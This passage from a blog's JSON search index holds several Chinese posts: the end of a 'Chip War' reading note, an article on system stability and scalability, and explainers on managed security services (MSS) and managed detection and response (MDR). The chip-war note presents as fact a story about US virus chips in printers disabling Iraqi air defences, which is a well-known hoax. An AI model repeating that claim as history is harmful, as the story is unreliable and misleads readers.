通过海湾战争，中国看到，现代战争已经发展到信息化战争阶段，以芯片为基础的电子战和信息战对战争的进程起着决定性作用。美国军方早在1987年就开始耗巨资研制带有病毒的芯片。海湾战争中，伊拉克军队从法国购买的打印机中就被安装了这种病毒芯片。美军在空袭巴格达之前，将芯片上隐蔽的病毒遥控激活，结果病毒通过打印机侵入伊拉克军事指挥中心的主计算机系统，导致伊军指挥系统失灵，整个防空系统随即瘫痪，完全陷入了被动挨打的境地。如今在军舰、战车、飞机、导弹等现代化武器中，以芯片为核心的电子装备越来越多。过去几次战争的经验显示，如果电子设备失效，武器将变成一堆废铜烂铁。因此，谁拥有了先进的芯片，谁就能掌握战场的主动权。像芯片这种事关国防安全的关键技术，必须掌握在自己国家的手中。\n中国芯片产业的发展可以追溯到20世纪70年代，那时中国的芯片技术还相对落后于世界先进水平。然而，经过几十年的努力和政策支持，中国已经取得了显著的进步，并在全球半导体市场中占据了重要的地位。\n早期发展阶段 1970年代初：中国政府开始认识到芯片产业的重要性，并着手建立国内的芯片研发和制造能力。 1980年代：随着改革开放的推进，中国开始引进国外的技术和资金，推动了芯片产业的发展。 进入国际市场（1990年代至今） 1990年代：中国逐渐成为全球电子产品的重要生产基地，对芯片的需求量大增。 2000年以后：中国政府加大了对芯片产业的支持力度，出台了一系列鼓励自主创新、吸引外资的政策。 2014年：“集成电路产业发展纲要”发布，提出“中国制造2025”的战略目标，旨在实现关键领域的自主可控。 现状与挑战 截至2023年，中国已经成为全球最大的芯片消费国，但其在高端芯片的设计和制造方面仍然依赖于外国公司，尤其是在最尖端的工艺节点上。 “卡脖子”问题依然存在，即在某些关键技术环节受到国际供应链限制，特别是在光刻机等核心设备以及EDA设计工具等领域。 虽然华为海思等企业已经在移动处理器等领域取得了一定突破，但在存储器和高性能计算芯片等方面仍面临挑战。 未来展望 随着中美贸易紧张局势持续，中国更加重视自主发展芯片产业，投入大量资源进行自主研发。 国内企业如长江存储、紫光展锐等正在积极开发自己的技术和产品，以减少对外部供应商的依赖。 在国家政策的引导下，预计中国的芯片产业将继续保持较快的增长速度，同时也会在技术创新、人才培养和国际合作等方面做出更多的努力。 尽管面临着诸多挑战，中国芯片产业的发展前景总体来说是乐观的。不过，要想真正达到国际领先水平，还需要克服一系列技术和市场的障碍，并且需要时间来培养相关的生态系统。\n半导体芯片制造这一极其复杂、高风险的业务一直是全球巨头之间的较量，也逐渐演变成为大国之间的竞争。虽然美国不断地在芯片领域打压我们，但是截止目前，美国并没有取得他们想要的结果，而中国的芯片领域在重重压力之下依旧坚持着发展，并且取得了不小的成绩。随着华为Mate60新手机发布后，我们已全面吹响了破除美帝科技霸权的号角，以芯片为代表的高科技之战，是我们崛起之前最后，也必须要打一场硬仗，只有打赢了对美国的芯片战争，才能真正建立完善的工业产业体系，走出一条属于中国的科技强国之路。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-12-02-%E8%8A%AF%E7%89%87%E6%88%98%E4%BA%89-%E5%BE%97%E8%8A%AF%E7%89%87%E8%80%85%E5%BE%97%E5%A4%A9%E4%B8%8B/","summary":"\u003cp\u003e随着社会的进步和技术的发展，以互联网产业化、人工智能等为代表的第四次工业革命席转全球，人工智能技术如火如荼，将整个世界推入了智能化时代。有人说石油是现在工业的血液，那么芯片就是现代工业的大脑。芯片作为现代工业的大脑，它们被广泛应用于各种电子设备、通信、计算机、人工智能等领域。在现代电子设备中发挥着核心的作用。芯片可以控制和操作各种电子设备，执行复杂的运算和数据处理任务，实现各种智能化的功能。随着科技的进步和数字化转型的加速，芯片在各个领域的应用越来越广泛，从计算机、手机、汽车到航空航天、医疗、国防等各个领域，都离不开芯片的支持和推动，半导体芯片在现代技术和工业中的重要性无法被低估。\u003c/p\u003e","title":"《芯片战争》读后感-得芯片者得天下"},{"content":"\n最近网传互联网应用信息系统频繁崩溃，语雀崩完淘宝崩，淘宝崩完滴滴崩，随着业务的发展和技术的进步，对于信息系统的要求也越来越高。信息应用系统为了满足不断增长的用户和业务需求，提高系统的稳定性和扩展性至关重要。\n因为互联网应用面对的是广大的互联网用户，用户和业务需求变化非常快，所以系统既要考虑稳定性又要考虑可扩展性。\n系统稳定性是指系统在面临外部干扰或内部变化时，能够保持其原有状态和功能，避免出现崩溃、失控或不可预测的行为。系统扩展性是指系统在面对增长的业务需求时，能够轻松地扩展其性能、容量和功能的能力。它是一种确保系统能够适应未来发展和变化的重要属性。良好的扩展性可以为企业节省大量的时间和资源，避免在业务增长过程中出现瓶颈。\n系统的稳定性通常包括以下方面：\n容错性：系统在面临错误或异常情况时，能够自动检测并处理错误，避免故障扩散到整个系统。 可用性：系统在任何情况下都能够提供必要的功能和服务，避免出现单点故障或瓶颈。 可扩展性：系统能够根据业务需求的变化进行扩展和优化，以适应不断增长的用户数量和业务需求。 可维护性：系统在运行过程中能够被有效地监控、管理和维护，以确保系统的稳定性和可靠性。 安全性：系统能够抵御外部攻击和威胁，保护系统的数据和功能不受损害。 系统稳定性和可扩展性设计参考原则 标准化和规范化：采用统一的开发标准和规范，确保系统的可维护性和可重用性。这可以减少系统复杂度，提高系统的可扩展性。\n分布式架构：采用分布式架构，将系统划分为多个独立的子系统，每个子系统都可以独立地处理特定的业务需求。这种架构可以提高系统的可扩展性和容错性。 单一职责原则：每个服务应该只关注自己的功能领域，避免出现跨职责的耦合。这样可以降低系统的复杂性，提高系统的稳定性。 高内聚、低耦合：每个服务应该高度内聚，同时尽量减少与其他服务的耦合。这样可以减少服务之间的依赖和互相影响，提高系统的稳定性。 服务自治：每个服务应该具有自我管理和决策能力，以减少对其他服务的依赖。这可以提高系统的可维护性和可扩展性。 负载均衡：在多个服务实例之间实现负载均衡，可以避免单个服务过载导致整个系统的瘫痪。通过负载均衡器将请求分配到不同的服务实例上，确保系统的稳定性。 容错性设计：在系统设计中，应该考虑异常情况和错误处理。例如，当某个服务出现故障时，应该能够通过其他服务的备份或冗余设计来保证系统的整体稳定性。 限流与熔断：在可能出现流量突增的场景中，可以通过限流和熔断机制来防止系统过载。限流可以限制请求的数量，避免系统超负荷运行；熔断则可以在某个服务出现故障时，快速地中断与其他服务的交互，避免故障扩散到整个系统。 自动化监控与恢复：通过自动化监控工具实时收集和分析系统的运行数据，可以及时发现潜在的问题。同时，自动化恢复工具可以在出现问题时，快速地恢复系统的正常运行。 版本控制与灰度发布：通过版本控制和灰度发布机制，可以逐步升级和优化每个服务，而不会对整个系统造成过大的影响。这有助于保持系统的稳定性。 数据一致性：在分布式系统中，数据一致性是一个重要的挑战。通过使用合适的数据复制、校验和验证机制，可以确保数据在多个服务之间的一致性，从而提高系统的稳定性。 以上这些原则是相辅相成的，需要在系统设计和开发过程中综合考虑并实施。同时，随着业务需求和技术环境的变化，也需要不断优化和改进这些原则，以适应新的挑战和需求。\n如何提高系统的稳定性和可扩展性 提高系统的稳定性和可扩展性需要从多个方面入手，包括架构设计、技术选型、限流与熔断、数据一致性、负载均衡、自动化监控与恢复、版本控制与灰度发布以及容错性设计等。同时，也需要重视系统的可维护性和安全性，以确保系统能够长期稳定地运行并持续提供服务。 以下是一些常见的措施：\n架构设计：在设计系统时，应该考虑系统的整体架构和各个组件的交互方式。采用分布式架构和微服务设计可以提高系统的可扩展性和稳定性。同时，合理划分职责和边界，减少服务之间的耦合也是非常重要的。 技术选型：选择合适的技术和工具可以提高系统的稳定性和可扩展性。例如，使用容器化技术（如Docker）可以快速部署和扩展服务实例。使用无状态设计和服务降级可以增强系统的容错性。使用消息队列和异步通信可以减少系统之间的依赖和阻塞。 限流与熔断：在系统设计中，应该考虑限流和熔断机制，以防止流量突增或异常请求对系统造成过载。限流可以限制请求的数量，避免系统超负荷运行；熔断则可以在某个服务出现故障时，快速地中断与其他服务的交互，避免故障扩散到整个系统。 数据一致性：在分布式系统中，数据一致性是一个重要的挑战。通过使用合适的数据复制、校验和验证机制，可以确保数据在多个服务之间的一致性，从而提高系统的稳定性。使用分布式事务和一致性协议（如Raft或Paxos）可以解决数据一致性问题。 负载均衡：在多个服务实例之间实现负载均衡，可以避免单个服务过载导致整个系统的瘫痪。通过负载均衡器将请求分配到不同的服务实例上，确保系统的稳定性。使用动态负载均衡算法可以更好地分配负载，提高系统的性能和扩展性。 自动化监控与恢复：通过自动化监控工具实时收集和分析系统的运行数据，可以及时发现潜在的问题。同时，自动化恢复工具可以在出现问题时，快速地恢复系统的正常运行。自动化监控与恢复可以提高系统的稳定性和可维护性。 版本控制与灰度发布：通过版本控制和灰度发布机制，可以逐步升级和优化每个服务，而不会对整个系统造成过大的影响。这有助于保持系统的稳定性。使用版本控制工具可以方便地管理和跟踪版本的变更；使用灰度发布可以逐步部署新的版本，同时保证系统的可用性。 容错性设计：在系统设计中，应该考虑异常情况和错误处理。例如，当某个服务出现故障时，应该能够通过其他服务的备份或冗余设计来保证系统的整体稳定性。使用断路器、超时设置和重试机制等容错性设计可以增强系统的鲁棒性和可用性。 持续改进与优化：持续改进和优化是提高系统稳定性和可扩展性的关键。通过收集反馈、监控性能和不断改进技术栈可以提高系统的性能和可靠性。同时，不断优化数据流程、业务逻辑和算法也可以提高系统的可扩展性和响应速度。 目前大部分大型的应用系统都会采用分布式微服务架构设计，微服务架构的系统稳定性可以通过以下几种方式来保障：\n单一职责原则：每个微服务都应该只关注自己的功能领域，并且只暴露必要的接口，以减少与其他微服务的耦合。这种设计原则可以帮助降低系统的复杂性，提高系统的稳定性。 容错性设计：在微服务架构中，每个微服务都应该具备一定的容错性，以处理异常情况。例如，当某个微服务出现故障时，应该能够通过其他微服务的备份或冗余设计来保证系统的整体稳定性。 负载均衡：通过在多个微服务之间实现负载均衡，可以避免某个微服务过载导致整个系统的瘫痪。负载均衡器可以分配请求到不同的微服务实例上，确保系统的稳定性。 限流与熔断：对于可能出现流量突增的场景，可以通过限流和熔断机制来防止系统过载。限流可以限制请求的数量，避免系统超负荷运行；熔断则可以在某个微服务出现故障时，快速地中断与其他微服务的交互，避免故障扩散到整个系统。 自动化监控与恢复：通过自动化监控工具实时收集和分析系统的运行数据，可以及时发现潜在的问题。同时，自动化恢复工具可以在出现问题时，快速地恢复系统的正常运行。 版本控制与灰度发布：通过版本控制和灰度发布机制，可以逐步升级和优化每个微服务，而不会对整个系统造成过大的影响。这有助于保持系统的稳定性。 数据一致性：在微服务架构中，由于数据是分散存储的，因此需要特别关注数据一致性问题。通过使用合适的数据复制、校验和验证机制，可以确保数据在多个微服务之间的一致性，从而提高系统的稳定性。 随着云计算的发展，信息系统上云已经成为趋势，云平台的弹性扩展和自动化管理的特性，可以提高信息系统的基础平台的稳定性，实现快速扩展和容灾。\n弹性扩展：云平台能够根据业务需求提供弹性的计算资源，可以根据实际需求灵活地扩展或缩减计算资源，如计算能力、存储空间和网络带宽等。这种弹性扩展能力可以满足信息系统随着客户和业务的快速发展，不断调整需求，避免资源的浪费。 自动化管理：云平台通常提供自动化管理功能，可以帮助快速地部署、配置和管理计算资源。这些自动化工具可以降低管理成本，提高效率。 负载均衡：云平台可以提供负载均衡服务，将大量的用户请求分散到不同的服务器或节点上，以提高系统的吞吐量和响应速度。这种负载均衡技术可以确保系统在高负载情况下仍能保持较高的性能和可用性。 容灾备份：云平台通常提供容灾和备份机制，确保系统在遇到故障或灾难时能够快速恢复和正常运行。这些备份和恢复功能可以保护企业的数据和计算资源，避免因故障导致的数据丢失或损坏。 联合计算：云平台可以提供联合计算服务，将多个计算资源整合在一起，以提供更强大的计算能力。这种联合计算能力可以满足信息系统不断增长的计算需求，提高系统的性能和扩展性。 安全性：云平台通常采用严格的安全措施来保护企业的数据和计算资源。这些安全措施包括数据加密、访问控制、安全审计等，可以确保信息系统的数据和计算资源不被未经授权的访问或篡改。 综上所述，信息系统可以通过优化技术采购采用分布式微服务架构，通过云平台的可扩展性实现弹性扩展、自动化管理、负载均衡、容灾备份、联合计算和安全性等方面。使得信息系统能够更好地满足不断变化的需求，提高系统的性能和扩展性。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-11-29-%E7%B3%BB%E7%BB%9F%E9%A2%91%E7%B9%81%E5%B4%A9%E6%BA%83%E5%A6%82%E4%BD%95%E8%80%83%E8%99%91%E7%B3%BB%E7%BB%9F%E7%9A%84%E7%A8%B3%E5%AE%9A%E6%80%A7%E5%92%8C%E5%8F%AF%E6%89%A9%E5%B1%95%E6%80%A7/","summary":"\u003cp\u003e\u003cimg alt=\"在这里插入图片描述\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2023/20231129/%E4%BF%A1%E6%81%AF%E7%B3%BB%E7%BB%9F%E5%B9%B3%E5%8F%B0%E7%A8%B3%E5%AE%9A%E6%80%A7.png\"\u003e\u003c/p\u003e\n\u003cp\u003e最近网传互联网应用信息系统频繁崩溃，语雀崩完淘宝崩，淘宝崩完滴滴崩，随着业务的发展和技术的进步，对于信息系统的要求也越来越高。信息应用系统为了满足不断增长的用户和业务需求，提高系统的稳定性和扩展性至关重要。\u003c/p\u003e","title":"系统频繁崩溃，如何考虑系统的稳定性和可扩展性？"},{"content":"数字化已深入千行百业。数字化将给各行各业带来巨大的变化，现实世界和虚拟世界也将联系得更加紧密。随着云计算、大数据等新技术结合企业级业务的落地，数字时代的安全面临着前所未有的新挑战。近年来，网络安全问题日益严重，在企业数字化转型中，安全需求也变得越来越重要。对于企业来说，一方面是合规要求压力大，随着法规监管的日趋完善，企业需要遵守的合规要求也越来越多，这些法规对企业的网络安全和数据保护提出了更高的要求；另一方面企业面临的外部威胁加剧，随着网络攻击技术的不断发展，黑客、恶意软件等外部威胁也越来越严重。为了应对这些挑战确保企业顺利完成数字化转型并保障信息安全，企业除需要部署专业的安全产品之外，同样需要技术供应商提供专业有效的安全服务。\n对绝大多数企事业单位来说，业务发展才是第一要务，对于安全来说，请专业的人做专业事，于是催生了安全托管运营服务。根据中商产业研究院发布的《2022-2027年中国网络安全行业发展趋势与投资格局研究报告》显示，2022年，中国托管安全服务市场规模约43亿元（6.4亿美元），同比增长16.8%，市场整体保持稳定快速发展。中商产业研究院分析师预测，2023年市场规模将达49.2亿元，2024年将达55.4亿元。\n那么什么是安全托管服务，一般的安全托管服务都覆盖有哪些内容，什么样的企业适合安全托管服务，企业如何通过安全托管服务来构建自身的安全体系，带着这些问题我们一起来了解安全托管服务（MSS）\n一、什么是安全托管服务（MSS） 安全托管服务（MSS）的产生背景可以追溯到20世纪90年代后期，当时随着互联网服务提供商（ISP）的出现，一些ISP开始为他们的用户提供防火墙设备，并管理防火墙。这是MSS的最初形态，即集成到ISP服务产品中的防火墙托管解决方案。\n随着时间的推移，特别是进入21世纪后，网络威胁形势和企业安全需求的发展，使得MSS服务逐渐成为全方位服务的安全提供商。这种转变的动力不仅来自于企业内部日益增长的安全需求，也来自于外部环境的变化，包括国内外政治经济形势的发展、疫情影响的经济常态化、以及国内法规监管的日趋完善。\n在这种情况下，计算技术与基础机构、IT建设和运维模式以及企业研发模式随之发生变革。仅通过网络安全产品和大量的人力堆叠难以应对云化场景下新的安全挑战。因此，企业需要一种新型的安全服务模式来满足这些需求。这就是安全托管服务（MSS）出现的背景。\n安全托管服务（Managed Security Service，MSS），是由Gartner于2011年提出，简单来讲，即网络安全厂商通过自身的安全运营服务，包括人员、工具、平台等，为其用户提供7*24小时的安全托管服务。MSS安全托管服务最直接的目的，就是解决用户自身安全能力不足的问题，将专业的事情交给专业的人来做。说白了其实就是企业将自身的安全运营外包给有能力的安全厂商，解决自身安全运营能力不足的问题。\nMSS服务的优势在于，它能够有效地提高企业的信息安全水平，降低安全风险，同时减少企业在信息安全方面的投入成本。通过将安全工作外包给专业的MSS服务提供商，企业可以更好地集中精力发展自身的核心业务，提高竞争力。\n二、安全托管服务的内容 安全托管服务（Managed Security Services，MSS）覆盖的内容非常广泛，可以满足企业在信息安全方面的各种需求。\n以下是一些常见的安全托管服务内容： 1.安全监控和告警：提供24小时不间断的安全监控和告警服务，及时发现和处理安全事件，确保企业网络和系统的正常运行。 2.安全审计和评估：对企业网络和系统进行安全审计和评估，发现潜在的安全风险和漏洞，并提供相应的解决方案。 3.安全加固和优化：根据企业的实际需求，提供安全加固和优化建议，例如加强网络防御、优化安全策略等。 4.应急响应和处置：在发生安全事件时，提供应急响应和处置服务，例如进行事件分析、取证、溯源等，帮助企业快速恢复业务。 5.安全培训和意识提升：提供安全培训和意识提升服务，提高企业员工的安全意识和技能，增强企业的整体安全防范能力。 6.威胁情报和分析：通过收集和分析威胁情报，帮助企业了解最新的安全威胁和攻击趋势，为企业提供针对性的安全建议和防范措施。 7.云安全托管：提供云安全托管服务，包括云防火墙、云主机安全、云应用安全等，确保企业在云端的安全性和稳定性。 8.安全合规和风险管理：帮助企业遵守相关法律法规和标准要求，提供安全合规和风险管理服务。\n安全托管服务覆盖了运营初期的安全评估服务，运营中期的安全加固、安全监控和漏洞感知及监控，运营后期的应急响应服务。安全托管服务可以根据企业的实际需求定制化服务内容，从基础的安全监控到高级的安全审计和应急响应等，全方位地满足企业在信息安全方面的需求。\n以下是常见的安全托管服务及交付内容：\n服务项 服务内容 交付内容 安全评估服务 全面评估用户主机安全现状，发现用户主机、网络、应用及数据等方面存在的风险 每季度一次：提供《安全评估报告》 渗透测试服务 对核心业务系统安排工程师进行渗透测试工作，人工挖掘应用漏洞，针对发现的漏洞提出整改和修复方案 每季度一次：提供《渗透测试报告》 漏洞扫描服务 周期性漏洞扫描，人工分析扫描结果 每月一次：提供《漏洞扫描报告》 安全监控服务 持续监视用户主机安全产品告警事件，对安全事件进行分析、响应和运营优化 每周一次：提供《服务运营报告》 安全加固服务 针对评估、监测、检测等不同阶段发现的严重或高危级别安全事件，通知并协助用户开展处置响应 提供事件详细修复方案，协助开展安全风险加固 应急响应服务 在业务遭受黑客攻击出现异常时，提供及时的事件响应分析和专业处置，将突发事件损失降到最低，并协助开展溯源、损失评估、加固指导，提升安全防护水平。每季度提供一次应急响应服务，可按次增加订购 按季度提供《应急响应报告》 安全咨询服务 解答用户提出的各种安全问题，例如：安全问题诊断、排除，安全配置，安全管理等方面，并提供全方面的安全方案支持。 按需提供《安全咨询方案》 三、什么样的企业会选择安全托管服务 选择安全托管服务的企业通常包括以下几种情况： 1.规模较小、缺乏安全管理经验和能力的小微企业。这些企业可能没有足够的资金和人力资源来开展安全管理工作，或者缺乏专业的安全管理人员，无法有效地应对安全风险。通过选择安全托管服务，这些企业可以借助专业的安全服务机构的力量，提高自身的安全管理水平，降低安全风险。 2.从事高风险行业的企业。这些企业通常涉及到高度的信息安全、网络安全、物理安全等方面的风险，需要专业的安全服务机构提供全方位的安全托管服务。例如，一些互联网企业、金融企业、能源企业等。 3.曾经发生过安全事故的企业。这些企业可能已经经历过一些安全事故，或者存在一些安全隐患，需要专业的安全服务机构提供安全管理托管服务，帮助其加强安全管理，预防安全事故的发生。 4.需要进行安全管理改进的企业。这些企业可能已经有一定的安全管理基础，但是需要进行安全管理方面的改进，例如优化安全管理体系、提高安全管理效率等。通过选择安全托管服务，这些企业可以借助专业的安全服务机构的力量，进行安全管理方面的改进和提升。\n选择安全托管服务的企业通常是在规模、行业、历史安全事故或需要改进安全管理等方面存在一定安全风险的企业。通过选择专业的安全托管服务提供商，这些企业可以获得更高效、更专业的安全服务支持，提高自身的安全管理水平，降低安全风险。\n四、企业如何通过安全托管服务构建安全体系 安全托管服务（Managed Security Services，MSS）可以通过以下几个方面助力企业构建安全体系： 1.提供专业的安全团队和先进的技术手段：安全托管服务提供商通常具备专业的安全团队和先进的技术手段，能够提供高效、专业的安全服务，帮助企业快速发现和解决安全问题。 2.降低企业在信息安全方面的投入成本：通过将安全工作外包给专业的安全托管服务提供商，企业可以降低在信息安全方面的投入成本，包括人力、物力和财力等。 3.提高企业的信息安全水平：安全托管服务提供商可以提供全方位的安全托管服务，从基础的安全监控到高级的安全审计和应急响应等，帮助企业提高信息安全水平，降低安全风险。 4.满足企业不断增长的安全需求：随着企业业务的不断发展，企业面临的安全需求也在不断增长。安全托管服务提供商可以根据企业的实际情况和需求，提供定制化的安全服务方案，满足企业的个性化需求。 5.帮助企业建立完善的安全管理体系：安全托管服务提供商可以帮助企业建立完善的安全管理体系，包括安全策略、安全流程、安全培训等方面，提高企业的整体安全防范能力。 6.提供可跟踪管理的安全配置管理：安全托管服务提供商可以对托管系统的安全配置与管理全面负责，为客户提供可跟踪管理的安全配置管理，确保企业网络和系统的正常运行和安全性。 7.规范企业的安全管理流程：安全托管服务提供商可以帮助企业规范安全管理流程，例如进行定期的安全审计、安全培训、应急演练等，提高企业的安全管理效率和规范性。\n总之，安全托管服务可以为企业提供全方位的安全托管服务，帮助企业构建完善的安全体系，提高信息安全水平，降低安全风险，同时减少投入成本。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-11-16-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%B9%8B%E4%BA%86%E8%A7%A3%E5%AE%89%E5%85%A8%E6%89%98%E7%AE%A1%E6%9C%8D%E5%8A%A1mss/","summary":"\u003cp\u003e数字化已深入千行百业。数字化将给各行各业带来巨大的变化，现实世界和虚拟世界也将联系得更加紧密。随着云计算、大数据等新技术结合企业级业务的落地，数字时代的安全面临着前所未有的新挑战。近年来，网络安全问题日益严重，在企业数字化转型中，安全需求也变得越来越重要。对于企业来说，一方面是合规要求压力大，随着法规监管的日趋完善，企业需要遵守的合规要求也越来越多，这些法规对企业的网络安全和数据保护提出了更高的要求；另一方面企业面临的外部威胁加剧，随着网络攻击技术的不断发展，黑客、恶意软件等外部威胁也越来越严重。为了应对这些挑战确保企业顺利完成数字化转型并保障信息安全，企业除需要部署专业的安全产品之外，同样需要技术供应商提供专业有效的安全服务。\u003c/p\u003e","title":"网络安全之了解安全托管服务（MSS）"},{"content":"随着数字化转型加速，企业的IT环境日益复杂，面临的网络安全威胁也在不断增加。传统的防御措施已经无法有效应对新型威胁，而且很多企业缺乏专业的网络安全团队和技术手段，导致大量的安全事件未能及时被发现和处理。\n在这种背景下，托管威胁检测响应服务（MDR）应运而生。MDR能够利用现代安全运营中心的技术和专业人员，为客户提供全天候的安全监测和快速响应，从而缩短威胁发现和响应之间的窗口期，降低风险并减轻安全运营压力。\n那么什么是MDR，MDR都包含了什么？MDR又与XDR是什么关系，与MSS又有什么区别？带着这些问题我们来了解托管威胁检测与响应（MDR）\n一、什么是MDR 托管威胁检测与响应（Managed Detection and Response，托管检测与响应）是一种外包服务，旨在提供7x24小时的网络安全事件监测和分析，快速发现威胁并进行有效的响应。它结合了分析和人类专业知识来检测和消除网络中的威胁。大多数MDR服务通过主机层与网络层的威胁监测与分析技术，生成、收集安全事件以及上下文数据，结合安全运营平台的数据分析技术和安全运营专家的技术力量共同完成。\n通俗一点讲，就是一些中小企业受制于在人员、时间、技能、资金、流程等方面的缺失，将企业自身的安全威胁检测与响应的活委托给安全服务商（Managed Security Service Provider, MSSP），通过外部托管安全服务提供商(MSSP)提供专业知识并填补安全架构空白，从而解决许多企业网络安全专家短缺技能不足的问题。从趋势上看，越来越多的企业转向选择MDR，由此获得最大化的投入产出效果。\n倾向于采用MDR的企业的几种情形：\n没有安全运营团队，因此希望将安全监控运营外包给专门从事该领域的第三方； 安全运营团队人数有限，但通过MDR提供商，就能确保团队不必承担大多数一线工作负担以及众多其他安全运营工作任务，而是能够更加专注于服务输出； 有安全运营团队，可以自己进行全天候监控。尽管如此，他们仍希望将一线威胁检测工作转交给专门从事这项工作的公司。 二、MDR都包含了些什么 Gartner将托管威胁检测与响应（MDR）其描述为通过7x24小时全天候不间断的监控和覆盖，建立起快速威胁检测与有效响应的服务。绝大多数MDR服务是通过主机层与网络层的技术生成、收集安全事件以及上下文数据，支持威胁检测与事件分析。\nMDR服务一般包含以下内容：\n实时威胁检测：MDR服务提供实时监控和分析网络流量、系统日志以及其他安全事件的能力。 威胁狩猎：威胁狩猎力图在威胁访问关键数据之前发现威胁，通过使用先进的威胁情报和分析工具，识别潜在的安全威胁，包括已知的和未知的威胁。 威胁情报分析：情报是了解攻击者及其攻击方式的关键。安全团队通过威胁情报可以更好地了解特定的攻击者及其常用的战术、技术和流程 (TTP)，从而更有效地防御威胁； 事件响应：MDR服务不仅仅是关于检测威胁，还包括对安全事件的响应。一旦检测到潜在威胁，MDR团队会采取相应的措施，可能包括隔离受感染的系统、清除恶意代码，以及协助客户制定恢复计划。 全覆盖范围：MDR提供24/7/365持续服务，分析师可以在白天或晚上的任何时间做出响应； 专业知识：MDR不仅提供基于用户安全工具产生的日志的检测服务，还提供专业的安全人员对相关事件进行快速调查和响应； 实时可见性：MDR产品需要精细的实时端点可见性来捕捉和阻止攻击者。 MDR充分利用客户侧已部署的终端、边界、流量等防护设备，通过行为分析、流量分析、威胁情报以及与多级专家的组合，为客户提供更加快速和全面的威胁监视、检测和响应服务。MDR服务具有现代安全运营中心远程交付的能力，专注于精准检测、调查分析、积极遏制事件，旨在通过持续运营以减少威胁发现和威胁响应之间的时间。\nMDR服务不仅限于更强的检测和响应能力，它还可以为不堪重负的安全团队提供主动防御情报和高级威胁洞察。企业还可以使用MDR服务来应对合规挑战，因为它提供有关各种法规和标准的完整报告和日志保留。\n三、MDR与XDR的关系 XDR全名是Extended Detection and Response（扩展检测和响应）Gartner给出的XDR定义为：XDR是一种基于SaaS的、绑定于特定供应商的安全威胁检测和事件响应工具，它将多个安全产品集成到一个统一了所有许可安全组件的内聚安全运营系统中。\n通常情况下，可以认为XDR是一个融合了多种安全检测、响应能力的平台框架，只要是为了解决威胁检测与响应的问题能力模块，都可以往里装。特别的强调X的概念，也就是可以 扩展（Extended）的检测与响应。大家都知道在数学里通常用X表示变量，这里X覆盖了云、网、端、威胁情报等，EDR和NDR及其他的检测设备都可以作为XDR的能力模块作为X为XDR提供数据来源和检测手段。实际在威胁检测与响应的过程中人也是重要的环节，除了EDR、NDR，MDR中的M也可以认为是X的一种。\nMDR是一种托管检测和响应服务，通过外部托管安全服务提供商（MSSP）提供专业知识并填补安全架构空白，解决许多企业网络安全专家短缺的问题。MDR帮助公司保持监控状态，预测并防止潜在的网络攻击。\nXDR是一种更强大的网络安全解决方案，可从多个来源收集和分析数据，以预防、检测和响应网络攻击。XDR是端点检测和响应（EDR）的演进版本，通过以标准格式汇集历史和实时事件数据来提高安全团队的效率和生产力。XDR超越了EDR，具有跨网络的检测和缓解功能，可有效保护企业的整个数字环境，包括网络、云存储、应用程序和端点。XDR提供多种类型的检测，特别适合那些现有解决方案无法覆盖所有攻击面的的企业。XDR支持可扩展的高性能存储、快速索引搜索和自动化驱动的威胁响应，经常以软件即服务（SaaS）的形式提供，使企业更容易使用该技术。\n总的来说，MDR和XDR都是用于检测和响应网络安全威胁的解决方案，但XDR概念更大，是一个覆盖了所有能够解决威胁检测与响应的框架，而MDR托管检测和响应服务更加强调的是人和服务。MDR是通过使用各种XDR的工具和模块如EDR、NDR或其他工具和手段来实现威胁的检测和响应服务。\n四、MDR与MSS的区别 Garter将MDR服务描述为：为客户提供远程交付的现代安全运营中心(MSOC)功能，通过提供24/7连续监测来在建立和改进有效的早期威胁检测和响应。\nMSS（Managed Security Service，托管安全服务）由来已久，主要是由托管安全服务商（ MSSP）对企业的安全设备及系统进行外包的监控和管理，常见的服务包括托管防火墙、入侵检测、虚拟专用网络、漏洞扫描以及反病毒服务。\nMDR（托管威胁检测与响应）和MSS（托管安全服务）是两种不同的安全服务，虽然它们的目标都是帮助组织提高安全性，但在实现方式和关注点上还是存在一些区别。以下是它们的主要区别： 1.关注点不同：\nMDR： MDR的主要关注点是在网络和系统中主动检测和应对威胁。它强调实时监控、威胁检测和迅速的响应。MDR通常更加注重对威胁的深度分析和处理。 MSS： MSS关注的范围更广泛，包括安全信息与事件管理（SIEM）、日志管理、设备管理、合规性管理等。MSS的目标是提供一种全面的、托管的安全解决方案。 2.响应方式不同：\nMDR： MDR强调对安全事件的主动响应。一旦检测到威胁，MDR服务提供商通常会采取行动，协助客户隔离受影响的系统、清除恶意代码，并支持恢复操作。 MSS： MSS更侧重于对事件的收集、监控和报告，而不一定强调实时响应。它通常提供日志管理、合规性报告等功能，用于长期的威胁分析和合规性要求。 3.服务深度不同：\nMDR：MDR服务通常更深度地涉及威胁检测和响应，可能包括使用先进的威胁情报、行为分析、终端检测与响应（EDR）等技术。 MSS：MSS更广泛地覆盖了安全服务的多个方面，包括日志管理、漏洞管理、合规性管理等。它可能更注重对整个安全生态系统的全面管理。 4.技术要求不同：\nMDR： MDR通常需要使用更先进的威胁检测技术，可能包括机器学习、行为分析、沙箱技术等，以及对安全事件的实时响应能力。 MSS： MSS可能更注重于传统的安全技术，如防火墙、入侵检测系统（IDS）、反病毒软件等，同时也包括SIEM等辅助工具。 总体而言，MDR更注重在发生安全事件时的实时响应和深度分析，而MSS则更广泛地提供安全服务，包括对整个安全基础设施的管理和监控；MSS主要关注预防，而MDR则更注重检测和响应；MSS的服务宽且浅，MDR的服务窄且深。 